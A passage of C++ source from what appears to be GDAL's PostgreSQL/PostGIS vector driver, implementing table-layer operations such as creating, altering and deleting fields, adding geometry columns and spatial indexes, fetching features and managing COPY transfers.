EQUAL(pszCap,OLCCreateField) ||
EQUAL(pszCap,OLCCreateGeomField) ||
EQUAL(pszCap,OLCDeleteField) ||
EQUAL(pszCap,OLCAlterFieldDefn) )
return TRUE;
else if( EQUAL(pszCap,OLCRandomWrite) ||
EQUAL(pszCap,OLCDeleteFeature) )
{
GetLayerDefn()->GetFieldCount();
return pszFIDColumn != NULL;
}
}
if( EQUAL(pszCap,OLCRandomRead) )
{
GetLayerDefn()->GetFieldCount();
return pszFIDColumn != NULL;
}
else if( EQUAL(pszCap,OLCFastFeatureCount) ||
EQUAL(pszCap,OLCFastSetNextByIndex) )
{
if( m_poFilterGeom == NULL )
return TRUE;
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( poFeatureDefn->GetGeomFieldCount() > 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(m_iGeomFieldFilter);
return poGeomFieldDefn == NULL ||
(poDS->sPostGISVersion.nMajor >= 0 &&
(poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY ||
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY));
}
else if( EQUAL(pszCap,OLCFastSpatialFilter) )
{
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( poFeatureDefn->GetGeomFieldCount() > 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(m_iGeomFieldFilter);
return poGeomFieldDefn == NULL ||
(poDS->sPostGISVersion.nMajor >= 0 &&
(poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY ||
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY));
}
else if( EQUAL(pszCap,OLCTransactions) )
return TRUE;
else if( EQUAL(pszCap,OLCFastGetExtent) )
{
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( poFeatureDefn->GetGeomFieldCount() > 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(0);
return poGeomFieldDefn != NULL &&
poDS->sPostGISVersion.nMajor >= 0 &&
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY;
}
else if( EQUAL(pszCap,OLCStringsAsUTF8) )
return TRUE;
else if( EQUAL(pszCap,OLCCurveGeometries) )
return TRUE;
else if( EQUAL(pszCap,OLCMeasuredGeometries) )
return TRUE;
else
return FALSE;
}
/************************************************************************/
/* CreateField() */
/************************************************************************/
OGRErr OGRPGTableLayer::CreateField( OGRFieldDefn *poFieldIn, int bApproxOK )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
CPLString osFieldType;
OGRFieldDefn oField( poFieldIn );
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"CreateField");
return OGRERR_FAILURE;
}
if( pszFIDColumn != NULL &&
EQUAL( oField.GetNameRef(), pszFIDColumn ) &&
oField.GetType() != OFTInteger &&
oField.GetType() != OFTInteger64 )
{
CPLError(CE_Failure, CPLE_AppDefined, "Wrong field type for %s",
oField.GetNameRef());
return OGRERR_FAILURE;
}
/* -------------------------------------------------------------------- */
/* Do we want to "launder" the column names into Postgres */
/* friendly format? */
/* -------------------------------------------------------------------- */
if( bLaunderColumnNames )
{
char *pszSafeName = OGRPGCommonLaunderName( oField.GetNameRef(), "PG" );
oField.SetName( pszSafeName );
CPLFree( pszSafeName );
if( EQUAL(oField.GetNameRef(),"oid") )
{
CPLError( CE_Warning, CPLE_AppDefined,
"Renaming field 'oid' to 'oid_' to avoid conflict with internal oid field." );
oField.SetName( "oid_" );
}
}
const char* pszOverrideType = CSLFetchNameValue(papszOverrideColumnTypes, oField.GetNameRef());
if( pszOverrideType != NULL )
osFieldType = pszOverrideType;
else
{
osFieldType = OGRPGCommonLayerGetType(oField, bPreservePrecision, bApproxOK);
if (osFieldType.size() == 0)
return OGRERR_FAILURE;
}
CPLString osNotNullDefault;
if( !oField.IsNullable() )
osNotNullDefault += " NOT NULL";
if( oField.GetDefault() != NULL && !oField.IsDefaultDriverSpecific() )
{
osNotNullDefault += " DEFAULT ";
osNotNullDefault += OGRPGCommonLayerGetPGDefault(&oField);
}
/* -------------------------------------------------------------------- */
/* Create the new field. */
/* -------------------------------------------------------------------- */
if( bDeferredCreation )
{
if( !(pszFIDColumn != NULL && EQUAL(pszFIDColumn,oField.GetNameRef())) )
{
osCreateTable += ", ";
osCreateTable += OGRPGEscapeColumnName(oField.GetNameRef());
osCreateTable += " ";
osCreateTable += osFieldType;
osCreateTable += osNotNullDefault;
}
}
else
{
poDS->EndCopy();
osCommand.Printf( "ALTER TABLE %s ADD COLUMN %s %s",
pszSqlTableName, OGRPGEscapeColumnName(oField.GetNameRef()).c_str(),
osFieldType.c_str() );
osCommand += osNotNullDefault;
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
}
poFeatureDefn->AddFieldDefn( &oField );
if( pszFIDColumn != NULL &&
EQUAL( oField.GetNameRef(), pszFIDColumn ) )
{
iFIDAsRegularColumnIndex = poFeatureDefn->GetFieldCount() - 1;
}
return OGRERR_NONE;
}
/************************************************************************/
/* RunAddGeometryColumn() */
/************************************************************************/
OGRErr OGRPGTableLayer::RunAddGeometryColumn( OGRPGGeomFieldDefn *poGeomField )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult;
CPLString osCommand;
const char *pszGeometryType = OGRToOGCGeomType(poGeomField->GetType());
const char *suffix = "";
int dim = 2;
if( (poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_3D) &&
(poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED) )
dim = 4;
else if( (poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED) )
{
if( !(wkbFlatten(poGeomField->GetType()) == wkbUnknown) )
suffix = "M";
dim = 3;
}
else if( poGeomField->GeometryTypeFlags & OGRGeometry::OGR_G_3D )
dim = 3;
osCommand.Printf(
"SELECT AddGeometryColumn(%s,%s,%s,%d,'%s%s',%d)",
OGRPGEscapeString(hPGConn, pszSchemaName).c_str(),
OGRPGEscapeString(hPGConn, pszTableName).c_str(),
OGRPGEscapeString(hPGConn, poGeomField->GetNameRef()).c_str(),
poGeomField->nSRSId, pszGeometryType, suffix, dim );
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str());
if( !hResult
|| PQresultStatus(hResult) != PGRES_TUPLES_OK )
{
CPLError( CE_Failure, CPLE_AppDefined, "AddGeometryColumn failed for layer %s.",
GetName());
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
if( !poGeomField->IsNullable() )
{
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s SET NOT NULL",
pszSqlTableName,
OGRPGEscapeColumnName(poGeomField->GetNameRef()).c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str());
OGRPGClearResult( hResult );
}
return OGRERR_NONE;
}
/************************************************************************/
/* RunCreateSpatialIndex() */
/************************************************************************/
OGRErr OGRPGTableLayer::RunCreateSpatialIndex( OGRPGGeomFieldDefn *poGeomField )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult;
CPLString osCommand;
osCommand.Printf("CREATE INDEX %s ON %s USING GIST (%s)",
OGRPGEscapeColumnName(
CPLSPrintf("%s_%s_geom_idx", pszTableName, poGeomField->GetNameRef())).c_str(),
pszSqlTableName,
OGRPGEscapeColumnName(poGeomField->GetNameRef()).c_str());
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str());
if( !hResult
|| PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined, "CREATE INDEX failed for layer %s.", GetName());
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
return OGRERR_NONE;
}
/************************************************************************/
/* CreateGeomField() */
/************************************************************************/
OGRErr OGRPGTableLayer::CreateGeomField( OGRGeomFieldDefn *poGeomFieldIn,
CPL_UNUSED int bApproxOK )
{
OGRwkbGeometryType eType = poGeomFieldIn->GetType();
if( eType == wkbNone )
{
CPLError(CE_Failure, CPLE_AppDefined,
"Cannot create geometry field of type wkbNone");
return OGRERR_FAILURE;
}
// Check if GEOMETRY_NAME layer creation option was set, but no initial
// column was created in ICreateLayer()
CPLString osGeomFieldName =
( m_osFirstGeometryFieldName.size() ) ? m_osFirstGeometryFieldName :
CPLString(poGeomFieldIn->GetNameRef());
m_osFirstGeometryFieldName = ""; // reset for potential next geom columns
OGRPGGeomFieldDefn *poGeomField =
new OGRPGGeomFieldDefn( this, osGeomFieldName );
if( EQUAL(poGeomField->GetNameRef(), "") )
{
if( poFeatureDefn->GetGeomFieldCount() == 0 )
poGeomField->SetName( "wkb_geometry" );
else
poGeomField->SetName(
CPLSPrintf("wkb_geometry%d", poFeatureDefn->GetGeomFieldCount()+1) );
}
poGeomField->SetSpatialRef(poGeomFieldIn->GetSpatialRef());
/* -------------------------------------------------------------------- */
/* Do we want to "launder" the column names into Postgres */
/* friendly format? */
/* -------------------------------------------------------------------- */
if( bLaunderColumnNames )
{
char *pszSafeName = OGRPGCommonLaunderName( poGeomField->GetNameRef(), "PG" );
poGeomField->SetName( pszSafeName );
CPLFree( pszSafeName );
}
OGRSpatialReference* poSRS = poGeomField->GetSpatialRef();
int nSRSId = poDS->GetUndefinedSRID();
if( nForcedSRSId != UNDETERMINED_SRID )
nSRSId = nForcedSRSId;
else if( poSRS != NULL )
nSRSId = poDS->FetchSRSId( poSRS );
int GeometryTypeFlags = 0;
if( OGR_GT_HasZ((OGRwkbGeometryType)eType) )
GeometryTypeFlags |= OGRGeometry::OGR_G_3D;
if( OGR_GT_HasM((OGRwkbGeometryType)eType) )
GeometryTypeFlags |= OGRGeometry::OGR_G_MEASURED;
if( nForcedGeometryTypeFlags >= 0 )
{
GeometryTypeFlags = nForcedGeometryTypeFlags;
eType = OGR_GT_SetModifier(eType,
GeometryTypeFlags & OGRGeometry::OGR_G_3D,
GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED);
}
poGeomField->SetType(eType);
poGeomField->SetNullable( poGeomFieldIn->IsNullable() );
poGeomField->nSRSId = nSRSId;
poGeomField->GeometryTypeFlags = GeometryTypeFlags;
poGeomField->ePostgisType = GEOM_TYPE_GEOMETRY;
/* -------------------------------------------------------------------- */
/* Create the new field. */
/* -------------------------------------------------------------------- */
if( !bDeferredCreation )
{
poDS->EndCopy();
if( RunAddGeometryColumn(poGeomField) != OGRERR_NONE )
{
delete poGeomField;
return OGRERR_FAILURE;
}
if( bCreateSpatialIndexFlag )
{
if( RunCreateSpatialIndex(poGeomField) != OGRERR_NONE )
{
delete poGeomField;
return OGRERR_FAILURE;
}
}
}
poFeatureDefn->AddGeomFieldDefn( poGeomField, FALSE );
return OGRERR_NONE;
}
/************************************************************************/
/* DeleteField() */
/************************************************************************/
OGRErr OGRPGTableLayer::DeleteField( int iField )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"DeleteField");
return OGRERR_FAILURE;
}
if (iField < 0 || iField >= poFeatureDefn->GetFieldCount())
{
CPLError( CE_Failure, CPLE_NotSupported,
"Invalid field index");
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
poDS->EndCopy();
osCommand.Printf( "ALTER TABLE %s DROP COLUMN %s",
pszSqlTableName,
OGRPGEscapeColumnName(poFeatureDefn->GetFieldDefn(iField)->GetNameRef()).c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
return poFeatureDefn->DeleteFieldDefn( iField );
}
/************************************************************************/
/* AlterFieldDefn() */
/************************************************************************/
OGRErr OGRPGTableLayer::AlterFieldDefn( int iField, OGRFieldDefn* poNewFieldDefn, int nFlagsIn )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"AlterFieldDefn");
return OGRERR_FAILURE;
}
if (iField < 0 || iField >= poFeatureDefn->GetFieldCount())
{
CPLError( CE_Failure, CPLE_NotSupported,
"Invalid field index");
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
poDS->EndCopy();
OGRFieldDefn *poFieldDefn = poFeatureDefn->GetFieldDefn(iField);
OGRFieldDefn oField( poNewFieldDefn );
poDS->SoftStartTransaction();
if (!(nFlagsIn & ALTER_TYPE_FLAG))
oField.SetType(poFieldDefn->GetType());
if (!(nFlagsIn & ALTER_WIDTH_PRECISION_FLAG))
{
oField.SetWidth(poFieldDefn->GetWidth());
oField.SetPrecision(poFieldDefn->GetPrecision());
}
if ((nFlagsIn & ALTER_TYPE_FLAG) ||
(nFlagsIn & ALTER_WIDTH_PRECISION_FLAG))
{
CPLString osFieldType = OGRPGCommonLayerGetType(oField,
bPreservePrecision,
TRUE);
if (osFieldType.size() == 0)
{
poDS->SoftRollbackTransaction();
return OGRERR_FAILURE;
}
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s TYPE %s",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str(),
osFieldType.c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
poDS->SoftRollbackTransaction();
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
}
if( (nFlagsIn & ALTER_NULLABLE_FLAG) &&
poFieldDefn->IsNullable() != poNewFieldDefn->IsNullable() )
{
oField.SetNullable(poNewFieldDefn->IsNullable());
if( poNewFieldDefn->IsNullable() )
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s DROP NOT NULL",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str() );
else
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s SET NOT NULL",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
poDS->SoftRollbackTransaction();
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
}
if( (nFlagsIn & ALTER_DEFAULT_FLAG) &&
((poFieldDefn->GetDefault() == NULL && poNewFieldDefn->GetDefault() != NULL) ||
(poFieldDefn->GetDefault() != NULL && poNewFieldDefn->GetDefault() == NULL) ||
(poFieldDefn->GetDefault() != NULL && poNewFieldDefn->GetDefault() != NULL &&
strcmp(poFieldDefn->GetDefault(), poNewFieldDefn->GetDefault()) != 0)) )
{
oField.SetDefault(poNewFieldDefn->GetDefault());
if( poNewFieldDefn->GetDefault() == NULL )
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s DROP DEFAULT",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str() );
else
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s SET DEFAULT %s",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str(),
OGRPGCommonLayerGetPGDefault(poNewFieldDefn).c_str());
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
poDS->SoftRollbackTransaction();
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
}
if( (nFlagsIn & ALTER_NAME_FLAG) )
{
if (bLaunderColumnNames)
{
char *pszSafeName = OGRPGCommonLaunderName( oField.GetNameRef(), "PG" );
oField.SetName( pszSafeName );
CPLFree( pszSafeName );
}
if( EQUAL(oField.GetNameRef(),"oid") )
{
CPLError( CE_Warning, CPLE_AppDefined,
"Renaming field 'oid' to 'oid_' to avoid conflict with internal oid field." );
oField.SetName( "oid_" );
}
if ( strcmp(poFieldDefn->GetNameRef(), oField.GetNameRef()) != 0 )
{
osCommand.Printf( "ALTER TABLE %s RENAME COLUMN %s TO %s",
pszSqlTableName,
OGRPGEscapeColumnName(poFieldDefn->GetNameRef()).c_str(),
OGRPGEscapeColumnName(oField.GetNameRef()).c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
poDS->SoftRollbackTransaction();
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
}
}
poDS->SoftCommitTransaction();
if (nFlagsIn & ALTER_NAME_FLAG)
poFieldDefn->SetName(oField.GetNameRef());
if (nFlagsIn & ALTER_TYPE_FLAG)
poFieldDefn->SetType(oField.GetType());
if (nFlagsIn & ALTER_WIDTH_PRECISION_FLAG)
{
poFieldDefn->SetWidth(oField.GetWidth());
poFieldDefn->SetPrecision(oField.GetPrecision());
}
if (nFlagsIn & ALTER_NULLABLE_FLAG)
poFieldDefn->SetNullable(oField.IsNullable());
if (nFlagsIn & ALTER_DEFAULT_FLAG)
poFieldDefn->SetDefault(oField.GetDefault());
return OGRERR_NONE;
}
/************************************************************************/
/* GetFeature() */
/************************************************************************/
OGRFeature *OGRPGTableLayer::GetFeature( GIntBig nFeatureId )
{
GetLayerDefn()->GetFieldCount();
if( pszFIDColumn == NULL )
return OGRLayer::GetFeature( nFeatureId );
/* -------------------------------------------------------------------- */
/* Issue query for a single record. */
/* -------------------------------------------------------------------- */
OGRFeature *poFeature = NULL;
PGresult *hResult = NULL;
PGconn *hPGConn = poDS->GetPGConn();
CPLString osFieldList = BuildFields();
CPLString osCommand;
poDS->EndCopy();
poDS->SoftStartTransaction();
osCommand.Printf(
"DECLARE getfeaturecursor %s for "
"SELECT %s FROM %s WHERE %s = " CPL_FRMT_GIB,
( poDS->bUseBinaryCursor ) ? "BINARY CURSOR" : "CURSOR",
osFieldList.c_str(), pszSqlTableName, OGRPGEscapeColumnName(pszFIDColumn).c_str(),
nFeatureId );
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if( hResult && PQresultStatus(hResult) == PGRES_COMMAND_OK )
{
OGRPGClearResult( hResult );
hResult = OGRPG_PQexec(hPGConn, "FETCH ALL in getfeaturecursor" );
if( hResult && PQresultStatus(hResult) == PGRES_TUPLES_OK )
{
int nRows = PQntuples(hResult);
if (nRows > 0)
{
int* panTempMapFieldNameToIndex = NULL;
int* panTempMapFieldNameToGeomIndex = NULL;
CreateMapFromFieldNameToIndex(hResult,
poFeatureDefn,
panTempMapFieldNameToIndex,
panTempMapFieldNameToGeomIndex);
poFeature = RecordToFeature(hResult,
panTempMapFieldNameToIndex,
panTempMapFieldNameToGeomIndex,
0 );
CPLFree(panTempMapFieldNameToIndex);
CPLFree(panTempMapFieldNameToGeomIndex);
if( poFeature && iFIDAsRegularColumnIndex >= 0 )
{
poFeature->SetField(iFIDAsRegularColumnIndex, poFeature->GetFID());
}
if (nRows > 1)
{
CPLError(CE_Warning, CPLE_AppDefined,
"%d rows in response to the WHERE %s = " CPL_FRMT_GIB " clause !",
nRows, pszFIDColumn, nFeatureId );
}
}
else
{
CPLError( CE_Failure, CPLE_AppDefined,
"Attempt to read feature with unknown feature id (" CPL_FRMT_GIB ").", nFeatureId );
}
}
}
else if ( hResult && PQresultStatus(hResult) == PGRES_FATAL_ERROR )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s", PQresultErrorMessage( hResult ) );
}
/* -------------------------------------------------------------------- */
/* Cleanup */
/* -------------------------------------------------------------------- */
OGRPGClearResult( hResult );
hResult = OGRPG_PQexec(hPGConn, "CLOSE getfeaturecursor");
OGRPGClearResult( hResult );
poDS->SoftCommitTransaction();
return poFeature;
}
/************************************************************************/
/* GetFeatureCount() */
/************************************************************************/
GIntBig OGRPGTableLayer::GetFeatureCount( int bForce )
{
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return 0;
poDS->EndCopy();
if( TestCapability(OLCFastFeatureCount) == FALSE )
return OGRPGLayer::GetFeatureCount( bForce );
/* -------------------------------------------------------------------- */
/* In theory it might be wise to cache this result, but it */
/* won't be trivial to work out the lifetime of the value. */
/* After all someone else could be adding records from another */
/* application when working against a database. */
/* -------------------------------------------------------------------- */
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
GIntBig nCount = 0;
osCommand.Printf(
"SELECT count(*) FROM %s %s",
pszSqlTableName, osWHERE.c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( hResult != NULL && PQresultStatus(hResult) == PGRES_TUPLES_OK )
nCount = CPLAtoGIntBig(PQgetvalue(hResult,0,0));
else
CPLDebug( "PG", "%s; failed.", osCommand.c_str() );
OGRPGClearResult( hResult );
return nCount;
}
/************************************************************************/
/* ResolveSRID() */
/************************************************************************/
void OGRPGTableLayer::ResolveSRID(OGRPGGeomFieldDefn* poGFldDefn)
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
int nSRSId = poDS->GetUndefinedSRID();
osCommand.Printf(
"SELECT srid FROM geometry_columns "
"WHERE f_table_name = %s AND "
"f_geometry_column = %s",
OGRPGEscapeString(hPGConn, pszTableName).c_str(),
OGRPGEscapeString(hPGConn, poGFldDefn->GetNameRef()).c_str());
osCommand += CPLString().Printf(" AND f_table_schema = %s",
OGRPGEscapeString(hPGConn, pszSchemaName).c_str());
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if( hResult
&& PQresultStatus(hResult) == PGRES_TUPLES_OK
&& PQntuples(hResult) == 1 )
{
nSRSId = atoi(PQgetvalue(hResult,0,0));
}
OGRPGClearResult( hResult );
/* With PostGIS 2.0, SRID = 0 can also mean that there's no constraint */
/* so we need to fetch from values */
/* We assume that all geometry of this column have identical SRID */
if( nSRSId <= 0 && poGFldDefn->ePostgisType == GEOM_TYPE_GEOMETRY &&
poDS->sPostGISVersion.nMajor >= 0 )
{
CPLString osGetSRID;
const char* psGetSRIDFct;
if (poDS->sPostGISVersion.nMajor >= 2)
psGetSRIDFct = "ST_SRID";
else
psGetSRIDFct = "getsrid";
osGetSRID += "SELECT ";
osGetSRID += psGetSRIDFct;
osGetSRID += "(";
osGetSRID += OGRPGEscapeColumnName(poGFldDefn->GetNameRef());
osGetSRID += ") FROM ";
osGetSRID += pszSqlTableName;
osGetSRID += " LIMIT 1";
hResult = OGRPG_PQexec(poDS->GetPGConn(), osGetSRID );
if( hResult
&& PQresultStatus(hResult) == PGRES_TUPLES_OK
&& PQntuples(hResult) == 1 )
{
nSRSId = atoi(PQgetvalue(hResult,0,0));
}
OGRPGClearResult( hResult );
}
poGFldDefn->nSRSId = nSRSId;
}
/************************************************************************/
/* StartCopy() */
/************************************************************************/
OGRErr OGRPGTableLayer::StartCopy()
{
/*CPLDebug("PG", "OGRPGDataSource(%p)::StartCopy(%p)", poDS, this);*/
CPLString osFields = BuildCopyFields();
size_t size = strlen(osFields) + strlen(pszSqlTableName) + 100;
char *pszCommand = (char *) CPLMalloc(size);
snprintf( pszCommand, size,
"COPY %s (%s) FROM STDIN;",
pszSqlTableName, osFields.c_str() );
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = OGRPG_PQexec(hPGConn, pszCommand);
if ( !hResult || (PQresultStatus(hResult) != PGRES_COPY_IN))
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s", PQerrorMessage(hPGConn) );
}
else
bCopyActive = TRUE;
OGRPGClearResult( hResult );
CPLFree( pszCommand );
return OGRERR_NONE;
}
/************************************************************************/
/* EndCopy() */
/************************************************************************/
OGRErr OGRPGTableLayer::EndCopy()
{
if( !bCopyActive )
return OGRERR_NONE;
/*CPLDebug("PG", "OGRPGDataSource(%p)::EndCopy(%p)", poDS, this);*/
/* This method is called from the datasource when
a COPY operation is ended */
OGRErr result = OGRERR_NONE;
PGconn *hPGConn = poDS->GetPGConn();
CPLDebug( "PG", "PQputCopyEnd()" );
bCopyActive = FALSE;
/* This is for postgresql 7.4 and higher */
#if !defined(PG_PRE74)
int copyResult = PQputCopyEnd(hPGConn, NULL);
switch (copyResult)
{
case 0:
CPLError( CE_Failure, CPLE_AppDefined, "Writing COPY data blocked.");
result = OGRERR_FAILURE;
break;
case -1:
CPLError( CE_Failure, CPLE_AppDefined, "%s", PQerrorMessage(hPGConn) );
result = OGRERR_FAILURE;
break;
}
#else /* defined(PG_PRE74) */
PQputline(hPGConn, "\\.\n");
int copyResult = PQendcopy(hPGConn);
if (copyResult != 0)
{
CPLError( CE_Failure, CPLE_AppDefined, "%s", PQerrorMessage(hPGConn) );
result = OGRERR_FAILURE;
}
#endif /* defined(PG_PRE74) */
/* Now check the results of the copy */
PGresult * hResult = PQgetResult( hPGConn );
if( hResult && PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"COPY statement failed.\n%s",
PQerrorMessage(hPGConn) );
result = OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
if( !bUseCopyByDefault )
bUseCopy = USE_COPY_UNSET;
return result;
}
/************************************************************************/
/* BuildCopyFields() */
/************************************************************************/
CPLString OGRPGTableLayer::BuildCopyFields()
{
int i = 0;
int nFIDIndex = -1;
CPLString osFieldList;
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
if( osFieldList.size() > 0 )
osFieldList += ", ";
osFieldList += OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef());
}
if( bFIDColumnInCopyFields )
{
if( osFieldList.size() > 0 )
osFieldList += ", ";
nFIDIndex = poFeatureDefn->GetFieldIndex( pszFIDColumn );
osFieldList += OGRPGEscapeColumnName(pszFIDColumn);
}
for( i = 0; i < poFeatureDefn->GetFieldCount(); i++ )
{
if (i == nFIDIndex)
continue;
const char *pszName = poFeatureDefn->GetFieldDefn(i)->GetNameRef();
if( osFieldList.size() > 0 )
osFieldList += ", ";
osFieldList += OGRPGEscapeColumnName(pszName);
}
return osFieldList;
}
/************************************************************************/
/* CheckGeomTypeCompatibility() */
/************************************************************************/
void OGRPGTableLayer::CheckGeomTypeCompatibility(int iGeomField,
OGRGeometry* poGeom)
{
if (bHasWarnedIncompatibleGeom)
return;
OGRwkbGeometryType eExpectedGeomType =
poFeatureDefn->GetGeomFieldDefn(iGeomField)->GetType();
OGRwkbGeometryType eFlatLayerGeomType = wkbFlatten(eExpectedGeomType);
OGRwkbGeometryType eFlatGeomType = wkbFlatten(poGeom->getGeometryType());
if (eFlatLayerGeomType == wkbUnknown)
return;
if (eFlatLayerGeomType == wkbGeometryCollection)
bHasWarnedIncompatibleGeom = eFlatGeomType != wkbMultiPoint &&
eFlatGeomType != wkbMultiLineString &&
eFlatGeomType != wkbMultiPolygon &&
eFlatGeomType != wkbGeometryCollection;
else
bHasWarnedIncompatibleGeom = (eFlatGeomType != eFlatLayerGeomType);
if (bHasWarnedIncompatibleGeom)
{
CPLError(CE_Warning, CPLE_AppDefined,
"Geometry to be inserted is of type %s, whereas the layer geometry type is %s.\n"
"Insertion is likely to fail",
OGRGeometryTypeToName(poGeom->getGeometryType()),
OGRGeometryTypeToName(eExpectedGeomType));
}
}
/************************************************************************/
/* SetOverrideColumnTypes() */
/************************************************************************/
void OGRPGTableLayer::SetOverrideColumnTypes( const char* pszOverrideColumnTypes )
{
if( pszOverrideColumnTypes == NULL )
return;
const char* pszIter = pszOverrideColumnTypes;
CPLString osCur;
while(*pszIter != '\0')
{
if( *pszIter == '(' )
{
/* Ignore commas inside ( ) pair */
while(*pszIter != '\0')
{
if( *pszIter == ')' )
{
osCur += *pszIter;
pszIter ++;
break;
}
osCur += *pszIter;
pszIter ++;
}
if( *pszIter == '\0')
break;
}
if( *pszIter == ',' )
{
papszOverrideColumnTypes = CSLAddString(papszOverrideColumnTypes, osCur);
osCur = "";
}
else
osCur += *pszIter;
pszIter ++;
}
if( osCur.size() )
papszOverrideColumnTypes = CSLAddString(papszOverrideColumnTypes, osCur);
}
/************************************************************************/
/* GetExtent() */
/* */
/* For PostGIS use internal ST_EstimatedExtent(geometry) function */
/* if bForce == 0 */
/************************************************************************/
OGRErr OGRPGTableLayer::GetExtent( int iGeomField, OGREnvelope *psExtent, int bForce )
{
CPLString osCommand;
